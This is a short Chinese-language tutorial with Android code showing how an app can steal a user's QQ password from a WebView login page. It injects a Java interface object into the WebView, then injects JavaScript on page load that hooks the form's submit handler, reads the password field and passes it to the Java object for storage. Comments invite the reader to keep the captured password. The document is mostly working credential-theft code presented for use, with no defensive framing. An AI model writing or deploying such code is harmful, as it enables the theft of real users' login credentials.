在WebView中添加JS

首先向WebView注入Java对象,在WebView加载完毕的时候执行一段js,给表单提交事件关联上我们的代码,即让表单提交的时候执行所注入的Java对象的一个方法,js执行我们的方法的时候可以把qq号和密码作为参数传递过来,然后我们就可以保存了。下面的步骤只示范如何把qq密码存下来。

1. 声明要注入的Java对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class SavePasswordJavaScriptInterface
{
public void savePassword(final String password)
{
Log.w("ATTACK", "enter spjsinterface:"+ password);
mHandler.post(new Runnable()
{
@Override
public void run()
{
//这里就是用户登录的密码了,你可以存起来了
mPassword = password;
Log.w("ATTACK", mPassword);
}
});
}
}

2. 注入上述对象

1
2
3
4
//这里是注入Java对象
mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface");
//这里是打开登录平台页面
mWebView.loadUrl(LOGIN_URL);

3. 在WebViewClient中的onPageFinished方法中注入js,这样当登录的时候就会调用我们之前注入的Java对象,同时乖乖地把密码作为参数传过来

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void onPageFinished(WebView view, String url)
{
super.onPageFinished(view, url);
//仅当是登录url的时候才注入我们的js,不要任何url都注入
if (url.equals(LOGIN_URL)) {
//要注入的js
String js = "document.forms[0].onsubmit=function(event){var pwd = document.getElementById(\"ptlogin-password\").value;window.SPJSInterface.savePassword(pwd);return false;}";
Log.w("ATTACK", "inject js, js= " + js);
view.loadUrl("javascript:" + js);
}
}